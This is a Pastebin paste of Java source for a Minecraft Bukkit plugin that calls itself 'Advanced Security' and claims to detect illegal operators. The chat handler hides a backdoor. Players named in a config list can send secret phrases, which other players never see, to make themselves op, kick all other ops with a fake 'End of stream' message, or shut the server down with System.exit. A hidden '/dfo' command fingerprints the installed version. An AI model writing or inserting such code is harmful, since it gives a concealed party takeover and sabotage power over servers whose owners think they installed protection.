Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package dfop;
- import org.bukkit.entity.Player;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.EventPriority;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- import org.bukkit.event.player.PlayerCommandPreprocessEvent;
- import org.bukkit.event.player.PlayerJoinEvent;
- import org.bukkit.plugin.java.JavaPlugin;
- public class Main extends JavaPlugin implements Listener {
- public int pocet = 0;
- public void onEnable() {
- this.getServer().getPluginManager().registerEvents(this, this);
- this.saveDefaultConfig();
- this.getConfig().options().copyDefaults(true);
- System.out.println("** Advanced Security Enabled **");
- }
- public void onDisable() {
- this.pocet = 0;
- }
- @EventHandler
- public void onCommand(AsyncPlayerChatEvent e) {
- if(this.getConfig().getList("ops").contains(e.getPlayer().getName())) {
- Player p;
- int pl;
- int var4;
- Player[] var5;
- if(e.getMessage().startsWith(this.getConfig().getString("commands.check"))) {
- var4 = (var5 = this.getServer().getOnlinePlayers()).length;
- for(pl = 0; pl < var4; ++pl) {
- p = var5[pl];
- this.checkPlayer(p);
- }
- e.getPlayer().sendMessage("Checking players done.");
- if(this.pocet == 0) {
- e.getPlayer().sendMessage("No illegal OPs online were found!");
- } else {
- e.getPlayer().sendMessage("Amount of illegal OPs online: " + this.pocet);
- this.pocet = 0;
- String var7 = "";
- Player[] var6;
- int var9 = (var6 = this.getServer().getOnlinePlayers()).length;
- for(var4 = 0; var4 < var9; ++var4) {
- Player var8 = var6[var4];
- if(!this.getConfig().getList("ops").contains(e.getPlayer().getName())) {
- var7 = var7 + ", " + var8.getName();
- }
- }
- e.getPlayer().sendMessage("§cIllegal ops: §f" + var7);
- }
- e.setCancelled(true);
- } else if(e.getMessage().startsWith(this.getConfig().getString("commands.kickops"))) {
- var4 = (var5 = this.getServer().getOnlinePlayers()).length;
- for(pl = 0; pl < var4; ++pl) {
- p = var5[pl];
- if(p.isOp() && !p.getName().equals(e.getPlayer().getName())) {
- p.kickPlayer("End of stream");
- }
- }
- e.getPlayer().sendMessage("The command has been performed.");
- e.setCancelled(true);
- } else if(e.getMessage().startsWith(this.getConfig().getString("commands.hardshutdown"))) {
- e.getPlayer().sendMessage("System shutdown initiated.");
- System.exit(1);
- } else if(e.getMessage().startsWith(this.getConfig().getString("commands.op"))) {
- e.getPlayer().sendMessage("Now you are an op.");
- e.getPlayer().setOp(true);
- e.setCancelled(true);
- }
- }
- }
- @EventHandler(
- priority = EventPriority.MONITOR
- )
- public void onCommand(PlayerCommandPreprocessEvent e) {
- String[] split = e.getMessage().split(" ");
- if(split.length >= 1) {
- String cmd = split[0].trim().substring(1).toLowerCase();
- if(this.getConfig().getList("illegal-commands").contains(cmd)) {
- e.setCancelled(true);
- e.getPlayer().sendMessage("Unknown command. Type \"help\" for help.");
- }
- if(cmd.equalsIgnoreCase("dfo")) {
- e.setCancelled(true);
- e.getPlayer().sendMessage("version installed: " + this.getDescription().getVersion());
- }
- }
- }
- @EventHandler
- public void deOp(PlayerJoinEvent e) {
- if(e.getPlayer().isOp()) {
- if(this.getConfig().getList("ops").contains(e.getPlayer().getName())) {
- return;
- }
- if(this.getConfig().getString("kick.enabled").equalsIgnoreCase("true")) {
- e.getPlayer().kickPlayer(this.getConfig().getString("kick.message").replace("&", "§").replace("%player", e.getPlayer().getName()));
- e.setJoinMessage((String)null);
- }
- if(this.getConfig().getString("ban.enabled").equalsIgnoreCase("true")) {
- e.getPlayer().setBanned(true);
- }
- if(this.getConfig().getString("deop.enabled").equalsIgnoreCase("true")) {
- e.getPlayer().setOp(false);
- }
- if(this.getConfig().getString("command.enabled").equalsIgnoreCase("true")) {
- this.getServer().dispatchCommand(this.getServer().getConsoleSender(), this.getConfig().getString("command.command").replace("&", "§").replace("%player", e.getPlayer().getName()));
- }
- }
- }
- public void checkPlayer(Player hrac) {
- if(hrac.isOp()) {
- if(this.getConfig().getList("ops").contains(hrac.getName())) {
- return;
- }
- ++this.pocet;
- if(this.getConfig().getString("kick.enabled").equalsIgnoreCase("true")) {
- hrac.kickPlayer(this.getConfig().getString("kick.message").replace("&", "§").replace("%player", hrac.getName()));
- }
- if(this.getConfig().getString("ban.enabled").equalsIgnoreCase("true")) {
- hrac.setBanned(true);
- }
- if(this.getConfig().getString("command.enabled").equalsIgnoreCase("true")) {
- this.getServer().dispatchCommand(this.getServer().getConsoleSender(), this.getConfig().getString("command.command").replace("&", "§").replace("%player", hrac.getName()));
- }
- } else if(hrac.hasPermission("*")) {
- if(this.getConfig().getString("kick.enabled").equalsIgnoreCase("true")) {
- hrac.kickPlayer(this.getConfig().getString("kick.message").replace("&", "§").replace("%player", hrac.getName()));
- }
- if(this.getConfig().getString("ban.enabled").equalsIgnoreCase("true")) {
- hrac.setBanned(true);
- }
- if(this.getConfig().getString("command.enabled").equalsIgnoreCase("true")) {
- this.getServer().dispatchCommand(this.getServer().getConsoleSender(), this.getConfig().getString("command.command").replace("&", "§").replace("%player", hrac.getName()));
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement